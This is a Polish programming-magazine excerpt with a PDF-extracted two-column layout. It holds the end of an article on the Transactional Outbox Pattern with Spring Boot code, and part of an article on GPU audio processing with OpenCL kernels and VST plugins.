Możliwa jest również sytuacja, w której nasze zapytanie zostanie po- tania do systemu zewnętrznego. Jednak kluczowym mechanizmem
prawnie przetworzone przez system zewnętrzny, a mimo to httpClient jest tutaj zapisanie encji głównej i informacji w tabeli OUTBOX w jed-
zgłosi wyjątek (na przykład zerwane połączenie albo timeout spowodowa- nej, atomowej transakcji. W ten sposób albo oba elementy zostaną
ny przeciążeniem sieci). Jest to częsty problem przy komunikacji sieciowej. zapisane, albo oba wycofane (stąd transactional w nazwie).
Warto zdawać sobie sprawę, że istnieje wiele sytuacji, które mogą Wszystkie popularne, relacyjne systemy baz danych wspierają
prowadzić do awarii w złym momencie i w efekcie do niespójności atomowość transakcji, więc najczęściej będziemy od razu dyspono-
danych pomiędzy systemami. W niektórych przypadkach możemy wali wymaganym mechanizmem. Problem może się pojawić w przy-
zaakceptować taką niespójność, czasami możemy ją usunąć w innym padku baz nierelacyjnych. Na przykład baza danych MongoDB przez
procesie, np. w dodatkowym zadaniu wsadowym porównującym długi czas wspierała atomowość wyłącznie w ramach pojedynczego
dwa zestawy danych. Jednak w wielu przypadkach nie powinniśmy dokumentu. Nie było gwarancji, że zapisując dwa różne dokumenty,
dopuszczać do niespójności danych. zostaną one zapisane wspólnie. W każdym przypadku konieczne jest
sprawdzenie dokumentacji bazy danych, z jakiej korzystamy, i upew-
nienie się, że odpowiedni mechanizm będzie dostępny.
To może 2PC?
Przepływ informacji w przypadku użycia wzorca Transactional
Klasycznym podejściem do rozwiązania przedstawionego proble- Outbox Pattern może wyglądać jak na Rysunku 5.
mu jest użycie protokołu 2PC [1] (ang. two-phase commit protocol), Aplikacja rozpoczyna transakcję, w której dokonuje zmian w lokalnej
który zapewnia atomowość transakcji rozproszonych. Często jednak bazie danych oraz wpisu w tabeli OUTBOX o konieczności wysłania wiado-
odradza się stosowanie go we współczesnych systemach – głównie mości do serwisu zewnętrznego. W tym momencie pierwsza transakcja
ze względu na to, że jest to protokół blokujący. Jako taki wymaga on może zostać zakończona. W osobnym wątku (np. uruchamianym co kilka
dostępnego koordynatora przez cały czas potrzebny na dokończenie sekund przez wewnętrzny scheduler) aplikacja otwiera nową transakcję,
transakcji przez wszystkich uczestników. Awaria koordynatora może pobiera z bazy danych niewysłane wiadomości i wysyła żądanie do serwi-
prowadzić do sytuacji, w której uczestnicy transakcji nigdy ich nie su zewnętrznego. Jeśli wszystko przebiegło pomyślnie, status wiadomości
zakończą lub zakończą z dużym opóźnieniem. Ponadto użycie 2PC ustawiany jest na „wysłany” i dopiero wtedy zatwierdzamy transakcję.
może mieć duży wpływ na szybkość przetwarzania transakcji. Do- Poza wymogiem gwarancji zapisu atomowego musimy rozważyć
datkowo protokół ten nie jest wspierany przez wszystkie systemy. kilka istotnych kwestii.

<36> { 3 / 2023 < 108 > }


/ Gdzie te dane? O zachowaniu spójności z Transactional Outbox Pattern /

Rysunek 5. Użycie wzorca Transactional Outbox Pattern

Obsługa błędów w przetwarzaniu wiadomości Czy możemy zastosować spójność ostateczną?


Jak powinien zareagować system na wystąpienie błędu podczas Użycie wzorca Transactional Outbox Pattern powoduje, że nasz sys-
komunikacji z systemem zewnętrznym? Przykładowym rozwiąza- tem może zagwarantować jedynie spójność ostateczną (co jest sytuacją
niem jest ponawianie zapytania dla błędów, które mogą być tymcza- lepszą niż brak jakichkolwiek gwarancji). System zewnętrzny nie jest
sowe (np. timeouty, błędy rozwiązania nazwy hosta, odpowiedź 500 aktualizowany w tym samym momencie, co nasza baza danych, a jedy-
z serwisu zewnętrznego, innymi słowy wszystko, co powinno mieć nie w „bliżej nieokreślonej przyszłości”. Odpowiedź na pytanie, czy jest
charakter przejściowy), oraz udostępnienie ekranu dla operatora to rozwiązanie akceptowalne czy nie, zależy od domeny i konkretnego
z listą wiadomości, które nie mogły zostać poprawnie przetworzone. systemu. Powinno to być przedyskutowane z ekspertami domenowymi.
W przypadku wykorzystania mechanizmu automatycznego pona-
wiania warto upewnić się, że wiadomości przetwarzane są w sposób Zachowanie systemu przy skalowaniu horyzontalnym
idempotentny1 przez serwis zewnętrzny. Jeśli nasz system powinien móc skalować się horyzontalnie, mu-
simy upewnić się, że zachowuje się poprawnie przy uruchomieniu
Zależności między wiadomościami więcej niż jednej instancji (w szczególności proces odpowiedzialny
Czy wiadomości mają zależność między sobą? Czy musimy za- za odczytywanie i przetwarzanie tabeli OUTBOX). Odpowiednie użycie
gwarantować, że wiadomość A będzie zawsze wysłana przed wia- blokad w bazie danych może w prosty sposób rozwiązać ten problem,
domością B, czy jest to nieistotne? Ma to szczególne znaczenie przy ale może wpłynąć negatywnie na wydajność systemu.
wystąpieniu błędu wysłania wiadomości. Jeśli wiadomości A i B są
od siebie zależne, to błąd wysłania wiadomości A powinien również
OMÓWIENIE ROZWIĄZANIA
zablokować wiadomość B. Przykładową sytuacją jest utworzenie za-
sobu przez wiadomość A oraz usunięcie go przez wiadomość B. Wy- W repozytorium bitbucket.org/tkowalski/transactional-outbox-pattern
słanie takich wiadomości w nieprawidłowej kolejności doprowadzi znajduje się podstawowa implementacja wzorca Transactional Outbox
do braku spójności. Pattern w aplikacji korzystającej z frameworka Spring Boot, z użyciem
bazy H2 (oczywiście niezalecanej do celów produkcyjnych). Sam
wzorzec jest niezależny od technologii. Projekt ma charakter dydak-
tyczny, jego funkcjonalność ogranicza się do zaprezentowania głów-
nych elementów wzorca. Najważniejsze fragmenty kodu omówimy
1. W uproszczeniu oznacza to, że wywołanie tej samej operacji dowolną liczbę razy zapewni taki
sam wynik. Na przykład bez względu na to, ile razy dodamy ten sam element do zbioru, zawsze poniżej, natomiast po informacje odnośnie uruchamiania i używania
otrzymamy tę samą liczbę elementów. Dodawanie tego samego elementu do listy już nie będzie
operacją idempotentną. projektu odsyłam do pliku README.md w repozytorium.

{ WWW.PROGRAMISTAMAG.PL } <37>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Struktura projektu i model danych newEntity.setDescription(


input.description());
Przykładowy system składa się z dwóch projektów: main-service
ResourceEntity savedEntity =
i external-service. Obydwa serwisy udostępniają API przez protokół repository.save(newEntity);
HTTP. W momencie utworzenia nowego zasobu (ResourceEntity2) OutboxEntity outboxEntity =
new OutboxEntity();
w serwisie main-service oczekujemy, że zostanie również utworzony outboxEntity.setRelatedEntity(savedEntity);
nowy zasób (ExternalResourceEntity3) w serwisie external-service. outboxEntity.setWithExternalError(
Boolean.TRUE.equals(
Na Rysunku 6 przedstawiony jest model encji, używany w projekcie. input.withExternalError()));
outboxRepository.save(outboxEntity);

//simulation of error after sending


//entities for persistence to
//Hibernate, but before finishing the
//transaction. We expect that the
//transaction will be rolled back and
//neither of two entities will be stored
if (input.withError()) {
log.warn("error requested");
throw new IllegalStateException();
}

return savedEntity;
}

Po wywołaniu tej metody powinniśmy mieć utworzony nowy wpis


w tabeli RESOURCE i w tabeli OUTBOX. Istotnym elementem jest adno-
tacja @Transactional, dzięki której framework zagwarantuje, że cała
metoda zostanie wywołana w jednej transakcji.

Przetwarzanie tabeli OUTBOX i wysyłanie żądań do serwisu


zewnętrznego
Klasa OutboxProcess6 odpowiada za cykliczne sprawdzanie tabeli
OUTBOX i wysyłanie żądań do serwisu external-service. Jej najważniej-
sza metoda przedstawiona jest w Listingu 4.

Listing 4. Pobranie i przetworzenie oczekujących żądań z tabeli OUTBOX,


wykonywane w osobnym wątku i transakcji

@Scheduled(fixedRate = 5000)
@Transactional
public void checkOutbox() {
List<OutboxEntity> toProcess = repository.
findByStatus(
OutboxEntityStatus.CREATED,
Rysunek 6. Prosty model encji przykładowych serwisów PageRequest.of(0, 10));
log.info("check outbox, found: {}"
toProcess.size());
for (OutboxEntity entity : toProcess) {
Zapisywanie encji głównej i wiadomości w tabeli OUTBOX try {
processSingleRequest(entity);
W klasie pl.solidline.pub.top.mainservice.ResourceSer- } catch (Exception e) {
vice4 znajduje się metoda createResourceWithOutbox, której za- entity.failed();
log.warn("error sending message", e);
daniem jest utworzenie naszej encji głównej (tutaj ResourceEntity) }
i zapisanie wpisu w tabeli OUTBOX (reprezentowanego przez klasę }
}
OutboxEntity5).
private void processSingleRequest(
Listing 3. Aktualizacja encji głównej i zapis w tabeli OUTBOX w tej samej OutboxEntity entity) {
transakcji log.info("process outbox id: {}",
entity.getId());
ExternalResourceResponseDto response =
@Transactional
request(entity);
public ResourceEntity
createResourceWithOutbox(ResourceDto input) { entity.setExternalId(response.id());
ResourceEntity newEntity = entity.success();
new ResourceEntity(); repository.save(entity);
resourceRepository.save(
entity.getRelatedEntity());
2. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/main-service/src/main/java/
pl/solidline/pub/top/mainservice/ResourceEntity.java }
3. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/external-service/src/main/
private ExternalResourceResponseDto request(
java/externalservice/ExternalResourceEntity.java
OutboxEntity entity) {
4. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/main-service/src/main/java/
pl/solidline/pub/top/mainservice/ResourceService.java
5. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/main-service/src/main/java/ 6. https://bitbucket.org/tkowalski/transactional-outbox-pattern/src/master/main-service/src/main/java/
pl/solidline/pub/top/mainservice/OutboxEntity.java pl/solidline/pub/top/mainservice/OutboxProcess.java

<38> { 3 / 2023 < 108 > }


/ Gdzie te dane? O zachowaniu spójności z Transactional Outbox Pattern /

ExternalResourceDto request = » Ile rekordów z tabeli pobierać naraz.


toExternalDto(entity);
return externalServiceGateway. » Co zrobić w sytuacji błędu (warto zapewnić przynajmniej pod-
createExternalResource(request); stawowy mechanizm ponawiania).
}
» Jak rozwiązanie będzie się skalować (blokada pesymistyczna
private ExternalResourceDto toExternalDto(
OutboxEntity entity) { użyta w pokazany sposób pozwala tylko jednej instancji pobrać
return new ExternalResourceDto(null, dane w tym samym czasie).
entity.getDescription(),
entity.isWithExternalError()); » Usuwanie starych wpisów z tabeli OUTBOX (można usuwać je od
}
razu po poprawnym wysłaniu żądania, albo np. po określonym
czasie).
Dzięki adnotacji @Scheduled Spring Boot zadba, aby metoda była wy-
woływana w osobnym wątku co 5 sekund. Metoda checkOutbox po-
PODSUMOWANIE
biera wpisy z bazy danych w stanie CREATED i sekwencyjnie stara się
dla każdego z nich wywołać żądanie utworzenia zasobu w systemie Przedstawiony wzorzec najczęściej omawiany jest przy użyciu komu-
zewnętrznym. Jeśli zapytanie się powiedzie, zapisujemy external­Id nikacji asynchronicznej w celu dodawania wiadomości do brokera.
w naszej encji głównej oraz stan OutboxEntity jako SUCCESS. W prze- Można go jednak z powodzeniem wykorzystać przy stosowaniu syn-
ciwnym razie zmieniamy stan OutboxEntity na FAILURE. chronicznego protokołu komunikacji. Może być to użyteczne w sy-
Warto jeszcze zajrzeć do interfejsu OutboxRepository odpowia- tuacji, kiedy chcemy lub musimy zapewnić spójność ostateczną, ale
dającego za komunikację z bazą danych (Listing 5). nie mamy dostępnego brokera wiadomości lub system, z którym się
komunikujemy, nie pozwala na jego użycie.
Listing 5. W niektórych przypadkach ważne jest pobranie i zablokowanie
oczekujących żądań Wzorzec ten nie jest pozbawiony wad, często zwraca się uwagę,
że wprowadzenie Transactional Outbox Pattern zwiększa obciążenie
public interface OutboxRepository extends
CrudRepository<OutboxEntity, Long> { bazy danych, co może przyczynić się do problemów z wydajnością
@Lock(LockModeType.PESSIMISTIC_WRITE)
całego systemu (warto przeprowadzić testy i pomiary, aby zmierzyć
List<OutboxEntity> findByStatus( ten wpływ). Osobną kwestią jest wprowadzenie opóźnienia, z jakim
OutboxEntityStatus status,
Pageable pageable); aktualizowane są wszystkie systemy. Należy upewnić się, że dłuższy
} czas aktualizacji systemów jest akceptowalny dla rozwiązania, które
implementujemy.
Metoda pobiera dane z tabeli OUTBOX z użyciem blokowania pesymi- Dzięki użyciu wzorca udało nam się zagwarantować, że dane w obu
stycznego (tryb PESSIMISTIC_WRITE) – ma to na celu zapewnienie systemach (ostatecznie) będą spójne. Nawet jeśli nie zdecydujecie się
podstawowej kontroli dostępu do tabeli w przypadku, gdybyśmy uru- na zastosowanie Transactional Outbox Pattern, polecam sprawdze-
chomili więcej niż jedną instancję main-service. Dane zapytanie po- nie, w jaki sposób zaimplementowana jest komunikacja między ser-
winno być przetworzone tylko przez jedną instancję. wisami w waszym systemie, a także przedyskutowanie potencjalnych
W tym miejscu warto rozważyć kilka dodatkowych kwestii, takich jak: problemów, jakie mogą wystąpić przy błędach, i strategii ich napra-
» Co jaki czas sprawdzać tabelę (za krótki odstęp niepotrzebnie wiania z resztą zespołu.
zwiększa obciążenie bazy danych, za długi zwiększa opóźnienie
w wywołaniu zapytania).

W sieci
[1] Two-phase commit protocol, https://en.wikipedia.org/wiki/Two-phase_commit_protocol
[2] Pattern: Transactional outbox, https://microservices.io/patterns/data/transactional-outbox.html
[3] Pattern: Transaction log tailing, https://microservices.io/patterns/data/transaction-log-tailing.html
[4] Use Change Streams instead of Traditional Outbox or Distributed Transactions, https://dev.to/deyanp/use-change-streams-instead-of-traditional-outbox-or-distributed-transactions-cdb
[5] Stop Overusing the Outbox Pattern, https://www.squer.io/blog/stop-overusing-the-outbox-pattern
[6] Event-Driven Data Management for Microservices, https://www.nginx.com/blog/event-driven-data-management-microservices/

TOMASZ KOWALSKI
tomasz.kowalski@solid-line.pl
Od ponad dekady programista i inżynier oprogramowania. Od lat rozwija głównie systemy backendowe, gdzie mógł poznać
wady i problemy architektury mikroserwisów. Uważa, że nie istnieje jedyny słuszny język programowania, ale nie ma lepszego
ekosystemu niż Java (i nie zamierza na ten temat dyskutować, bo po co, każdy ma w końcu prawo do jakichś tam poglądów).

{ WWW.PROGRAMISTAMAG.PL } <39>
PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE

GPU Audio – od teorii do praktyki


Procesory GPU (Graphics Processing Unit) są szeroko wykorzystywane w przetwarzaniu i gene-
rowaniu obrazów trójwymiarowych. Ich zalety mogą zostać także wykorzystane w dziedzinie
audio, ale czy zawsze procesor GPU okaże się lepszym rozwiązaniem niż tradycyjnie wyko-
rzystywany procesor DSP?

OBLICZENIA WEKTOROWE Dzięki otwarciu tej platformy dla ogólnych obliczeń przez standard
OpenCL [2] możliwe stało się m.in. uruchomienie kopalni kryptowa-
Architektura SIMD (Single Instruction Multiple Data) pozwala na efek- lut w warunkach domowych czy uczenie głębokich sieci neurono-
tywne wykonywanie tej samej operacji dla różnych danych. Pojedyncza wych, a także przetwarzanie audio z masywnie równoległą operacją
instrukcja jest w takich procesorach realizowana na wektorach danych, MAC (Multiply-and-Accumulate).
czyli dane są przetwarzane równolegle. Przykłady takich procesorów
z instrukcjami SIMD to Intel 64 (x86-64) z technologiami MMX/SSE/
TYPOWE OBLICZENIA AUDIO
AVX czy ARM z technologią NEON. Długość przetwarzanego równo-
legle wektora w tych rozwiązaniach to kilka elementów, np. instrukcje Programowe przetwarzanie sygnału dźwięku w postaci cyfrowej jest
SIMD AVX-512 operują na rejestrach 512-bitowych, co umożliwia wykonywane w systemach wbudowanych tradycyjnie na procesorach
przetwarzanie równocześnie np. 16 wartości typu float lub 32 wartości sygnałowych DSP [3]. Charakteryzują się one zazwyczaj potokowym
typu int16_t jedną instrukcją procesora. Może to być na przykład 16 przetwarzaniem danych. Wejścia/wyjścia takich procesorów (I2S, TDM,
kanałów audio z dwóch sumowanych (miksowanych) źródeł: SPDIF, AVB) dostarczają strumienie audio, a poprzez transfery DMA
(Direct Memory Access) pozyskiwane są bufory próbek audio. Algoryt-
my przetwarzania buforów audio na DSP programuje się zwykle w ję-
zykach niskopoziomowych C/C++ z optymalizacją zasobożernych pętli.
Procesory DSP są projektowane do wykonywania specyficznych
algorytmów obliczeniowych, gdzie bufor próbek wyjściowych (sam-
pli audio) zależy od bufora próbek wejściowych i zmiennych stanu
algorytmu. Przykładem algorytmu z prostą zależnością od wejścia
i bez zależności od stanu może być algorytm kontroli głośności (ska-
lowania) próbki wejściowej x do próbki wyjściowej y:

Rysunek 1. Miksowanie dwóch wielokanałowych źródeł audio z użyciem instrukcji SIMD


AVX-512. vaddps zmm2, zmm0, zmm1 to instrukcja SIMD, która realizuje takie dodawanie.
Bardziej złożone algorytmy audio przechowują w zmiennych stanu
Podobnie przetwarzanie obrazów to typowe zadanie dla SIMD, ale w skali zakumulowaną historię systemu, mającą wpływ na bieżącą wartość
masowej. Dostosowana do takiego zadania architektura GPU powiela wyjścia. Na przykład działanie filtra FIR (Finite Impulse Response)
koncepcję SIMD w strukturze jednostek obliczeniowych CU (Compu- polega na wyznaczaniu bieżącej próbki wyjściowej jako sumy bieżą-
te Unit) zdolnych do wykonywania tej samej instrukcji na wektorze np. cej i przeszłych próbek sygnału wejściowego ważonych współczynni-
64-elementowym. Dodatkowo, dzięki dużej ilości rejestrów obliczenio- kami filtra bn:
wych, przełączanie wątków wykonywanych na CU jest mało kosztow-
ne [1]. To decyduje o efektywności wykonania w architekturze GPU
powtarzalnych obliczeń na ogromnych ilościach danych.

W tym przypadku stan przechowuje część potrzebnych próbek wej-


ściowych z poprzedniego bufora audio.

Rysunek 2. Przykładowa architektura GPU Rysunek 3. Algorytm filtracji bloku N próbek pojedynczego kanału audio filtrem FIR o długości K

<40> { 3 / 2023 < 108 > }


/ GPU Audio – od teorii do praktyki /

Podobnie możemy zapisać operacje filtra IIR (Infinite Impulse Re-


TRANSFER DANYCH
sponse; w szczególności popularnego w zastosowaniach audio filtra IIR
drugiego rzędu BIQUAD) i transformat (np. Dyskretna Transformata Aby bufor audio mógł zostać przetworzony przez napisany przez nas
Fouriera DFT czy Transformata Cosinusowa DCT), oczywiście z in- kernel, konieczne jest wcześniejsze przesłanie go z aplikacji hosta na
nym przeznaczeniem stanu. Podstawą tych obliczeń jest, wspomniana jednostce CPU. W tym celu musimy zaalokować obszary pamięci dla
wcześniej, wielokrotnie wykonywana operacja MAC. określonych zmiennych w pamięci współdzielonej, a następnie przy-
pisać je do konkretnego jądra obliczeniowego.

PROGRAMOWANIE GPU W obszarze przetwarzania audio bardzo ważne jest utrzymanie ni-
skiego opóźnienia sygnału wyjściowego względem wejściowego. Wy-
Na rynku dostępnych jest wiele narzędzi umożliwiających obliczenia maga to zastosowania krótkich buforów (choć nie przesadnie krótkich
z wykorzystaniem współpracujących ze sobą jednostek CPU i GPU – tu trzeba eksperymentować), co w linii prostej przekłada się na to, że
(np. CUDA opracowane przez firmę Nvidia czy Vulkan od AMD). cały proces przetwarzania musi być wykonywany nawet kilkaset razy w
W większości są to jednak narzędzia tworzone pod konkretnego do- ciągu jednej sekundy. Wtedy czasy transferu danych zaczynają odgry-
stawcę procesorów. Żeby tworzyć programy „hybrydowe”, na wiele wać znaczącą rolę w odniesieniu do całkowitego czasu wykonywania
platform naraz, potrzebne jest niezależne środowisko. się programu. Jeżeli ścieżka przetwarzania jest bardziej skomplikowana
i składa się z kilku funkcji jądra z oddzielnymi algorytmami, możemy
bezpośrednio przepisywać bufory wyjściowe jako wejściowe kolejnych
ŚRODOWISKO OPENCL
kerneli, co znacznie zredukuje czas transferu. Kolejnym pomysłem jest
OpenCL, a właściwie Open Computing Language, to framework stwo- zastosowanie metody pull-push, gdzie host CPU nie czeka na wynik po
rzony w 2009 roku przez Apple i utrzymywany do dziś dzięki organi- stronie GPU, a bufor wyjściowy jest kopiowany na początku kolejnego
zacji non-profit Khronos Group. Pozwala on przyspieszać aplikacje, cyklu przetwarzania. Takie podejście ma niestety jedną wadę – wpro-
dzięki wykorzystaniu zrównoleglenia obliczeń na niejednorodnych plat- wadza do sygnału wyjściowego dodatkowe opóźnienie.
formach składających się z różnego rodzaju jednostek obliczeniowych. Funkcje jądra OpenCL przesyłane do kolejki poleceń są szerego-
Aplikacja OpenCL składa się z dwóch części – programu hosta wane zgodnie z kolejnością wywoływania, ale można je skonfiguro-
i kodu akceleratora, którym w tym przypadku jest procesor gra- wać tak, aby wykonywały się bez narzuconej kolejności (wtedy sche-
ficzny GPU. Kod aplikacji hosta może być napisany w C lub C++ duler GPU sam decyduje o optymalnej sekwencji wykonania).
i skompilowany przez standardowy kompilator, ale programy jądra
po stronie akceleratora można pisać jedynie w określonym dialekcie
PRZYKŁADOWE JĄDRO OBLICZENIOWE
C (OpenCL C) lub C++ (C++ for OpenCL).
Oprócz specjalnie zdefiniowanych języków programowania stan- Jako przykładowy kod wykonywania obliczeń na próbkach dźwięko-
dard OpenCL zapewnia również API, które umożliwia zarządzanie wych wykorzystamy prosty kernel wykonujący operację pojedynczej
kontekstami i pamięcią współdzieloną, tworzenie kolejek, urucha- filtracji IIR drugiego rzędu.
mianie programów jądra (kerneli) na jednostkach obliczeniowych Jak już wcześniej wspomniano, kod kernela powinien być napisany
czy wyszukiwanie błędów. OpenCL obsługuje również kompilację w specjalnym dialekcie C lub C++, który nie różni się za bardzo od imple-
w czasie rzeczywistym, dzięki czemu aplikacje automatycznie korzy- mentacji w czystym C. Istotną modyfikacją jest wykorzystanie słowa klu-
stają z najnowszego oprogramowania urządzenia docelowego, bez po- czowego __global, używanego w odniesieniu do zmiennych w obszarze
trzeby ponownej kompilacji głównego programu. Dzięki temu może- pamięci współdzielonej pomiędzy CPU i GPU, które są tam alokowane
my w pełni wykorzystać architekturę specyficzną dla jednostek GPU. i definiowane przez aplikację hosta (czyli kodem działającym na CPU).

Rysunek 4. Programowanie w C/C++ a programowanie w OpenCL (na podstawie diagramu z khronos.org/opencl)

{ WWW.PROGRAMISTAMAG.PL } <41>
PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE

Rysunek 5. Przykładowe przetwarzanie audio typu pull-push

Listing 1. Funkcja kernela OpenCL wykonująca operację filtracji IIR staje się niemożliwe. Sposobem na przetwarzanie równoległe w tym
__kernel void biquad_kernel(__global const float* invec, przypadku jest filtracja większej ilości buforów jednocześnie. Nie jest
__global float* outvec, to optymalizacja w żaden sposób „naciągana”, ponieważ dźwięk wie-
__global float* delay,
__global const float* coeffsA, lokanałowy, a co za tym idzie równoczesne przetwarzanie nawet do
__global const float* coeffsB,
kilkudziesięciu buforów, to sytuacja powszechnie spotykana w audio.
int nbOfSamples)
{ Samo wywołanie kernela nie odbiega zbytnio od zwykłego wywo-
float tmpIn, tmpOut;
łania funkcji w języku C.
int ch = get_global_id(0);
Listing 2. Wywołanie kernela OpenCL w języku C
int nbOfCoeffs = 3;
int nbOfDelays = 2;
for(ch = 0; ch < maxChannels; ch++)
__global const float* in = &invec[ch * nbOfSamples]; {
__global float* out = &outvec[ch * nbOfSamples]; for(i = 0; i < blockSize; i++)
{
const float a1 = coeffsA[ch * nbOfCoeffs + 1]; mData[ch*blockSize + i] = in[ch][i];
const float a2 = coeffsA[ch * nbOfCoeffs + 2]; }
const float b0 = coeffsB[ch * nbOfCoeffs + 0]; }
const float b1 = coeffsB[ch * nbOfCoeffs + 1];
const float b2 = coeffsB[ch * nbOfCoeffs + 2]; clEnqueueWriteBuffer(processCtx->clQueue,
processCtx->inClBuffer,
float state0 = delay[ch * nbOfDelays + 0]; CL_FALSE, 0,
float state1 = delay[ch * nbOfDelays + 1]; maxChannels*blockSize*sizeof(float),
mData, 0, NULL, NULL);
for(int i = 0; i < nbOfSamples; i++)
{ clEnqueueNDRangeKernel(processCtx->clQueue,
tmpIn = in[i]; processCtx->biquadKernel, 1, NULL,
tmpOut = b0 * tmpIn + state0; &global_item_size, NULL, 0, NULL, NULL);
state0 = b1 * tmpIn - a1 * tmpOut + state1;
state1 = b2 * tmpIn - a2 * tmpOut; clEnqueueReadBuffer(processCtx->clQueue,
out[i] = tmpOut; processCtx->outClBuffer,
} CL_TRUE, 0,
maxChannels*blockSize*sizeof(float),
delay[ch * nbOfDelays + 0] = state0; mData, 0, NULL, NULL);
delay[ch * nbOfDelays + 1] = state1;
} for(ch = 0; ch < maxChannels; ch++)
{
for(i = 0; i < blockSize; i++)
{
Samo przetwarzanie audio nie jest skomplikowane – na podstawie out[ch][i] = mData[ch*blockSize + i];
obliczonych wcześniej współczynników filtra IIR drugiego rzędu oraz }
}
bufora próbek wejściowych obliczany jest bufor wyjściowy. Proble-
mem tutaj może być wykorzystanie pętli sprzężenia zwrotnego, przez
którą zrównoleglenie obliczeń względem ilości próbek w buforze

<42> { 3 / 2023 < 108 > }


/ GPU Audio – od teorii do praktyki /

PLUGINY AUDIO Transform) lub splot sygnałów. Można też skorzystać bezpośrednio
z biblioteki OpenCL, z której czerpie sam TAN. Integracja bibliotek
Efekty audio (znane także jako plugin, wtyczka, moduł audio czy w środowisku JUCE sprowadza się do procesu linkowania i dodania
procesor dźwięku) w kontekście tego artykułu rozumiane są jako jed- odpowiednich źródeł do projektu.
nostki oprogramowania przetwarzające sygnały cyfrowe w czasie rze-
czywistym, często mające konkretną rolę (np. wzmocnienie sygnału,
jego filtracja lub kompresja).
Prostym i przystępnym sposobem na pracę z tego rodzaju przetwa-
rzaniem dźwięku na PC jest skorzystanie z powszechnie dostępnego
oprogramowania typu DAW (Digital Audio Workstation), które pozwa-
la między innymi na nagrywanie i skomplikowaną edycję wielościeżko-
wych projektów dźwiękowych (np. REAPER [4]). Najpopularniejszym
standardem przetwarzania dźwięku w takim środowisku są wtyczki VST.

WTYCZKI VST
VST (Virtual Studio Technology) to opracowany w latach 90-tych
przez firmę Steinberg standard cyfrowych efektów audio z interfej-
sem graficznym (i nie tylko – technologia oferuje obsługę wirtual-
Rysunek 6. Środowisko JUCE
nych instrumentów, samplerów, obsługę MIDI). Standard doczekał
się już trzeciej wersji (VST3) i ma w pełni otwartą dokumentację [5].
VST NA GPU – SPECTRUM, REVERB, EQ
VST wymaga środowiska uruchomieniowego (VST host), którym
jest np. współpracujący bezpośrednio z kartą dźwiękową DAW. Idea Z zaadaptowanymi bibliotekami TAN oraz OpenCL w środowisku
VST i pluginów audio polega na prostej, krokowej budowie łańcucha JUCE utworzone zostały trzy modelowe przykłady implementacji
przetwarzania sygnału audio. W praktyce, otwierając sesję DAW, wy- efektów audio: pluginy Spectrum, Reverb oraz EQ. Interfejs graficzny
starczy zaimportować plik audio, nałożyć na jego ścieżkę dany moduł każdego z nich pozwala na przełączanie się pomiędzy przetwarza-
i można w czasie rzeczywistym usłyszeć, jaki ma wpływ na wejściowy niem na CPU i GPU, a także analizę podstawowych informacji po-
strumień dźwięku. Nie musimy się przejmować parametrami tech- równawczych, jak na przykład czas wykonywania danych obliczeń.
nicznymi ścieżki przetwarzania (zadanymi przez VST host, takimi Każdy z wymienionych przykładów wraz z jego kodem źródłowym
jak np. częstotliwość próbkowania, głębia bitowa, format pliku wej- można znaleźć na dedykowanej stronie [8].
ściowego) – plugin radzi sobie z tym samodzielnie. SpectrumPlugin, czyli graficzny analizator zawartości częstotliwo-
ściowej sygnału wykorzystujący implementację TAN FFT (TANCre-
ateFFT()). Plugin wyposażony został w dodatkową możliwość sterowa-
PLATFORMA JUCE
nia rozmiarem ramki danych pobieranych do pojedynczej operacji FFT
JUCE [6] to multi-platformowe środowisko programistyczne służą- (mniejsza lub większa rozdzielczość wyświetlanego spektrum sygnału).
ce do tworzenia aplikacji i bibliotek w języku C++, ze szczególnym
wsparciem dla obszaru audio. Platforma jest zintegrowana z najpopu-
larniejszymi IDE (Integrated Development Environment) dla danych
systemów operacyjnych, potrafi generować gotowe projekty-szkie-
lety dla wspieranych typów oprogramowania, a to wszystko oferuje
w przystępnej formie z interfejsem graficznym. Na szczególną uwagę
zasługuje wsparcie tworzenia i debugowania wtyczek audio – JUCE Rysunek 7. Interfejs graficzny SpectrumPlugin
pozwala stworzyć gotowy projekt, np. dla standardu VST3, jednocze-
śnie dostarczając pełnoprawne oprogramowanie VST host do samo- ReverbPlugin, czyli pogłos działający w oparciu o funkcję splotu z odpo-
dzielnych i natychmiastowych testów pisanego pluginu. Programisty wiedzią impulsową kilku różnych scen akustycznych (IR type). Wy-
w tym wypadku nie interesuje szczegółowa definicja standardu od korzystane zostały do tego kernel TAN na potrzeby obliczeń splotu
firmy Steinberg – JUCE konfiguruje projekt za niego, pozostawiając (TANCreateConvolution()) oraz osobny kernel OpenCL do wyli-
najbardziej istotne i twórcze zajęcie, czyli algorytm przetwarzania czania proporcji między sygnałami wyjściowymi, odpowiednio nie-
dźwięku i interfejs graficzny pluginu (odpowiednio dwie klasy wy- przetworzonym (Dry) i przetworzonym (Wet). Dodatkową opcją jest
magające implementacji – PluginProcessor oraz PluginEditor). wybór sposobu transferu danych pomiędzy CPU a GPU (Data flow
Plugin VST domyślnie pracuje na procesorze CPU. W celu prze- – opcje Push-pull i Pull-push).
kierowania operacji obliczeniowych na kartę graficzną można sko- Na pluginie prowadzone były też eksperymenty z wykorzystaniem
rzystać z biblioteki AMD TAN (TrueAudioNext [7]). Interfejs bi- opcji rezerwacji części jednostek CU na potrzeby przetwarzania audio,
blioteki TAN, poza częścią inicjalizacyjną, oferuje proste metody do udostępnianej przez AMD. Ze względu na niekompatybilność z GPU
przenoszenia niektórych obliczeń na GPU – np. FFT (Fast Fourier innych producentów została ona wyłączona i jest jedynie obecna w GUI.

{ WWW.PROGRAMISTAMAG.PL } <43>
PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE

równoległych zadań obliczeniowych (jak kopanie kryptowaluty, AI)


z innych procesorów. Kluczem do efektywności obliczeń na GPU jest
istnienie równoległości typu SIMD w zadaniu. Przetwarzanie audio,
np. rendering wielu źródeł dźwięku w pomieszczeniach stosowany
w grach, przez masywne wykorzystanie operacji MAC na wielu da-
nych, może wykorzystać moc obliczeniową GPU. Wymiarem rów-
Rysunek 8. Interfejs graficzny ReverbPlugin
noległości przetwarzania może być np. numer próbki wyjściowej,
numer kanału lub numer składowej efektu audio. Przykłady podsta-
